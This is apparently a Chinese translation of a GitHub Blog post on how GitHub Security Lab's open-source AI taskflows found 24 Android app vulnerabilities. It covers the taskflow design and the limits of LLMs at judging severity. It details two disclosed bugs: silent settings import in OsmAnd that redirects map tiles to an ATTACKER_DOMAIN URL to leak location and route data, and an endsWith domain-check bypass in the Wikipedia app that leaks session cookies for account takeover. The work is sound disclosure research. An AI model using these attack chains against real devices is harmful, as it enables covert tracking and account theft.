GitHub 安全团队如何用开源 AI 安全 Agent 找出 24 个 Android 漏洞
How we found 24 Android vulnerabilities using our open source AI security agent
GitHub Security Lab 发布开源 seclab-taskflows 任务流,通过 gather_mobile_entry_point_info.yaml 和 classify_application_local.yaml 等提示词引导 LLM 审计 Android 应用,已发现并报告 24 个漏洞。
作者以第一手实践拆解了任务流设计与运行步骤,并给出真实漏洞案例和 LLM 局限,方法可直接迁移到自己的项目审计。
随着 AI 在安全领域的兴起,我们的团队创建了 GitHub Security Lab Taskflow Agent,让安全研究人员能够轻松地自动化、打包并分享他们认为对工作有效的 AI 提示词和工作流。在这篇博客文章中,我将分享我如何创建审计任务流来发现 Android 应用程序中的漏洞。
虽然新模型在理解代码方面越来越出色,但自定义任务流提示词让安全研究人员能够引导它们——将研究拆分为增量步骤,帮助 LLM 更快地发现复杂漏洞,或者发现那些它原本会完全遗漏的漏洞。
使用这些任务流,我已在 Android 应用程序中报告了 20 多个漏洞。你可以查看我们的 advisories 页面,了解新漏洞何时被披露。否则,请继续阅读,了解这些任务流发现的一些高影响漏洞的具体示例。
如何在你自己的项目上运行这些任务流
想立即开始吗?这些任务流是开源的,很容易自行运行。请注意:需要 GitHub Copilot 许可证,并且提示词将使用高级模型请求。运行这些任务流可能会导致大量工具调用,很容易消耗大量 token。
- 转到 seclab-taskflows 仓库并启动一个 codespace。
- 等待几分钟让 codespace 初始化。
- 在终端中,运行
./scripts/audit/run_mobile.sh myorg/myrepo
在中等规模的仓库上,它可能需要一两个小时才能完成。完成后,它会打开一个 SQLite 查看器并显示结果。打开 “audit_results” 表,查找 “has_vulnerability” 列中带有勾选标记的行。
为 Android 应用创建有针对性的审计任务流
我的同事 Peter 和 Mo 之前写过一篇博客文章,介绍他们的审计任务流。尽管这些任务流本身已经运行良好,但 Android 应用程序有其自身特定类别的漏洞,我们希望任务流能够重点关注,因此我们需要引导它们。
首先,我添加了一个名为 gather_mobile_entry_point_info.yaml 的任务流。入口点是代码中攻击者控制的数据可能流经的位置。这个任务流接收入口点,并将它们分为移动入口点和非移动入口点。这使 AI 能够在包含各种不同应用类型——移动应用程序、Web 服务器、桌面应用程序——的仓库上运行,同时仍然理解正确的攻击面。
其次,我编辑了 classify_application_local.yaml。在其中,我指定了一个常见漏洞类别列表,并要求 LLM 在每个入口点和组件的上下文中考虑它们。由于移动应用程序漏洞的知名度较低,且 LLM 是非确定性的,我们应确保 LLM 检查某些必要的漏洞类别。例如,如果在上一步中任务流识别出一个基于 intent 的入口点,那么它应该有一个会检查的常见基于 intent 的漏洞列表,例如 confused deputy 或不安全广播。这有助于 LLM 发现组件之间的联系,并保持对威胁模型的整体把握。
通过在多轮运行中结合这两种提示词,我们兼得两者之长:严格的提示词和重复运行确保不会遗漏明显的漏洞,而宽泛的提示词则让 AI 充分发挥其创造力。
taskflows 发现的两个漏洞示例
在本节中,我们将展示两个由 taskflows 发现且已被披露的漏洞示例。到目前为止,我们总共发现并报告了 24 个漏洞。
通过 OsmAnd 追踪用户
OsmAnd 是一款流行的第三方导航应用,使用 Open-Street-Map 作为其主要数据源。它同时上架 App Store 和 Play Store,我们将研究其 Android 版本,该版本下载量超过 1000 万次。在本节中,我们将研究所发现的三个漏洞中最有趣的一个:一个允许恶意应用追踪设备位置的漏洞。
OsmAnd 导出了一个名为 MapActivity 的 activity。Android 的 activity 是应用中一个单一的、聚焦的屏幕,为用户提供可交互的 UI。MapActivity 负责处理在应用内打开设置文件和 deeplink,并且是导出的。导出的 activity 是指可以由其自身应用之外的组件启动的 activity。

然而,在打开设置文件时,该应用允许 intent extras(settings_version、silent_import、replace、export_type_list_key)。Intent 是 Android 中的消息传递对象,用于向另一个应用组件请求执行某个操作,而 intent extras 是附加到 intent 上的键值对数据,用于随该请求一起传递信息。MapActivity 原本只期望这些 extras 来自一个 AIDL 服务。它们本应通过进程内通道传递,而不是通过 intent extras,因为任何应用都可以向任何导出 activity 的任何 intent 放入任意 extras。Android 没有提供任何机制来限制外部调用者可以设置哪些 extras。
由于 MapActivity 是导出的,任何应用都可以向该 activity 发送一个 intent,并附带我们想要的任何 extras,包括那些可以让我们在未被察觉的情况下向该应用导入设置的 intent extras。该 Android 应用使用 handleOsmAndSettingsImport 函数来导入以下设置:
- SilentImport:允许在无通知的情况下导入
- Replace:允许我们替换而非仅仅添加设置
- SettingsTypes:允许我们在无用户确认的情况下导入
private void handleOsmAndSettingsImport(Uri intentUri, String fileName, Bundle extras) {
fileName = fileName.replace(ZIP_EXT, "");
if (extras != null && CollectionUtils.containsAny(extras.keySet(),
SETTINGS_VERSION_KEY, SETTINGS_LATEST_CHANGES_KEY)) {
int version = extras.getInt(SETTINGS_VERSION_KEY, -1);
String latestChanges = extras.getString(SETTINGS_LATEST_CHANGES_KEY);
boolean replace = extras.getBoolean(REPLACE_KEY); // ← attacker-controlled
boolean silentImport = extras.getBoolean(SILENT_IMPORT_KEY); // ← attacker-controlled
ArrayList<String> exportTypeKeys =
extras.getStringArrayList(EXPORT_TYPE_LIST_KEY); // ← attacker-controlled
List<ExportType> exportTypes = null;
if (exportTypeKeys != null) {
exportTypes = ExportType.valuesOf(exportTypeKeys);
}
handleOsmAndSettingsImport(intentUri, fileName, exportTypes,
replace, silentImport, latestChanges, version);
} else {
handleOsmAndSettingsImport(intentUri, fileName,
null, false, false, null, -1); // safe defaults
}
} 由于我们现在可以导入任何我们想要的设置,我们可以做出几项关键更改。例如,我们可以替换地图上的瓦片。OsmAnd 按以下格式为每个瓦片格式化 URL:
return MessageFormat.format(urlTemplate, zoom + "", x + "", y + "");默认情况下,OsmAnd 使用本地瓦片,但我们可以用以下 URL 覆盖默认的瓦片文件:
f"{ATTACKER_DOMAIN}/tiles/{{0}}/{{1}}/{{2}}.png",然后,我们就可以泄露每个瓦片精确的 x、y 坐标。该 URL 期望其响应包含该瓦片的图像,因此在攻击者服务器后端,我们从 OpenStreetMaps 提供相应的瓦片。攻击者便获得了用户在 OsmAnd 应用上加载过的每个瓦片的 x、y 坐标列表,而用户完全不知道其应用的设置已被更改。这使得任何应用,甚至是没有权限的应用,都能覆盖 OsmAnd 的设置,并将私密位置数据发送回其服务器。
# [TILE #1] 14:23:07 z=15 x=9649 y=12320
# ├── center: 40.70979, -73.98743
# └── 🗺️ https://www.openstreetmap.org/#map=15/40.70979/-73.98743利用同一个漏洞,我们还可以获取用户在 OsmAnd 上采取的每条路线的起点和终点,并将其发送到攻击者的服务器,而用户不会有任何察觉。
[ROUTE #1] 07:02:47 vehicle=car waypoints=2
├── path: /osrm/car/-122.084,37.4219983;-122.32450103759766,37.99944305419922
├── 📍 ORIGIN: 37.421998, -122.084000
│ https://www.openstreetmap.org/#map=15/37.42200/-122.08400
├── 🏁 DESTINATION: 37.999443, -122.324501
│ https://www.openstreetmap.org/#map=15/37.99944/-122.32450维基百科账户接管 通过 deeplink
接下来,我们来看看维基百科 Android 应用,它允许用户在手机上浏览维基百科。为了在应用内浏览维基百科网页,维基百科 Android 应用注册了一个 wikipedia:// deeplink 的钩子来打开应用。例如,一个 deeplink 可能看起来像 wikipedia://wikipedia.org/wiki/PoC。然而,主机名解析器中的一个逻辑漏洞允许我们加载非维基百科的 URL。
private fun handleIntent(intent: Intent) {
if (Intent.ACTION_VIEW == intent.action && intent.data != null) {
// TODO: handle special cases of non-article content, e.g. shared reading lists.
intent.data?.let {
if (it.authority.orEmpty().endsWith(WikiSite.BASE_DOMAIN)) {
// Pass it right along to PageActivity
val uri = Uri.parse(it.toString().replace("wikipedia://", WikiSite.DEFAULT_SCHEME + "://"))
startActivity(Intent(this, PageActivity::class.java)
.setAction(Intent.ACTION_VIEW)
.setData(uri))
}
}
}
} 这个原语允许我们使用 wikipedia:// deeplink 将用户引导到我们选择的任何网站,并诱骗用户以为他们正在维基百科页面上,而实际上他们身处攻击者控制的页面。此外,攻击者能够在应用的 WebView 中运行任意 JavaScript,这是一个危险的原语,为攻击者提供了进入通常被认为安全的环境的入口点。这种漏洞模式在同一个应用中出现了不止一次,而是两次:
// SharedPreferenceCookieManager.kt:101
if (domain.endsWith(domainSpec)) {
buildCookieList(cookieList, cookiesForDomainSpec, null)
} 第二段代码检查页面是否应包含来自 wikipedia.org 页面的 cookie。利用这两个问题,我们可以泄露维基百科页面中的所有 cookie,这些 cookie 是长期有效的。
将这两个漏洞串联起来,我们就能实现强大的账户接管。
- 受害者在浏览器中访问一个包含 deeplink 的恶意网页并点击它。
- 维基百科 Android 应用会自动打开并加载一个以 wikipedia.org 结尾的攻击者控制页面,例如 evil-wikipedia.org。受害者以为这是维基百科上的页面,而应用会自动发送用户的 cookie。攻击者现在可以访问受害者的用户名、长期令牌以及在每个维基媒体项目(所有维基百科、Commons、Wikidata、Meta 等)中有效的会话令牌。
正如这些示例所示,LLM 能够发现具有严重影响的逻辑漏洞,而不仅仅是通用的漏洞类别。
LLM 擅长发现漏洞,但在评估严重性方面表现不佳
LLM 擅长发现漏洞,甚至能发现影响不大的低严重性漏洞。很多时候,我发现 AI 会返回一些需要非常特定状态的问题,这些状态在现实情况中几乎不可能出现。此外,它经常报告低严重性漏洞,即使被明确告知不要这样做。因此,每个发现都应由了解移动应用的安全研究人员进行审查。
我们发现的另一个问题是,漏洞的严重性经常被错误估计。漏洞的实际影响往往因缓解因素而改变,从而降低其严重性。
以 Android 应用中的路径遍历为例,其中文件路径被限制在外部存储中;此类问题的相对严重性较低。如果没有明确提示“创建概念验证”,LLM 很难看到这些缓解因素,这不仅需要多次运行来发现漏洞,还需要创建概念验证,这迫使 LLM 尝试利用该漏洞。根据模型的可用性和速度,这要求模型在可能没有很强影响的漏洞上花费额外时间。
即便如此,LLM 仍然可能出错。例如,如果应用同时使用内部存储和外部存储的数据,内部存储的数据通常会被优先考虑。LLM 可能会假设来自外部存储的数据——我们可以通过路径遍历写入——会改变应用的实际数据。但如果内部存储覆盖了我们攻击者控制的外部数据,那就根本不存在漏洞。这种复杂的行为会导致误报,而随着 LLM 模型的上下文变得更大、推理能力提升,误报会减少。但就目前而言,解决这些问题的唯一方法是给 LLM 一个调试器来运行概念验证和原始代码,或者让研究人员提示 LLM 专门查找这些问题。
LLM 对 API 行为有很强的了解
任何专注于某一特定语言的安全研究人员都了解常见的代码模式:哪些函数是安全的,哪些是不安全的。例如,在 Go 中使用 path.Clean 远不如使用 filepath.Clean 安全,并且常常是影响流行产品 Windows 版本的许多漏洞的根源。我们惊讶地发现,即使无法访问语言源代码,LLM 也能很好地理解各种语言中常见安全相关 API 的行为。我们在给 LLM 一份漏洞报告后要求它生成的大多数概念验证,几乎不需要我们这边做任何修改,这展示了它对以往安全漏洞利用和 API 行为的深厚知识。
关于结果的说明
在撰写这篇博客时,我们在移动应用中发现了 24 个 Android 漏洞。在许多情况下,我们在应用中发现了诸如路径遍历之类的简单漏洞。我们发现了少数几个严重漏洞,其中一些已在这篇博客文章中介绍过。由于 Android 应用安全性相当强,漏洞类型正是安全研究人员预期会发现的地方,例如 WebView 中的跨应用脚本,或暴露的 JavaScript 桥接。
我们相信,AI 驱动的安全研究是目前保护开源项目的最佳方式之一,其能力可用于 Web 应用、移动应用以及桌面应用。
结语
我们坚信安全应该是所有开源维护者的首要任务,我们也知道 AI 在未来几年将成为所有维护者的必备工具,无论是用于开发还是安全。seclab-taskflow-agent 将帮助你在几分钟内开始安全方面的工作,并且欢迎那些发现有趣且独特的提示、工具和机制来用 AI 查找漏洞的人做出贡献。
今天就开始保护你的项目。针对你自己的应用运行这些任务流,迈出 AI 辅助安全的第一步!
文章 How we found 24 Android vulnerabilities using our open source AI security agent 首次出现在 The GitHub Blog。
来源:GitHub Blog · github.blog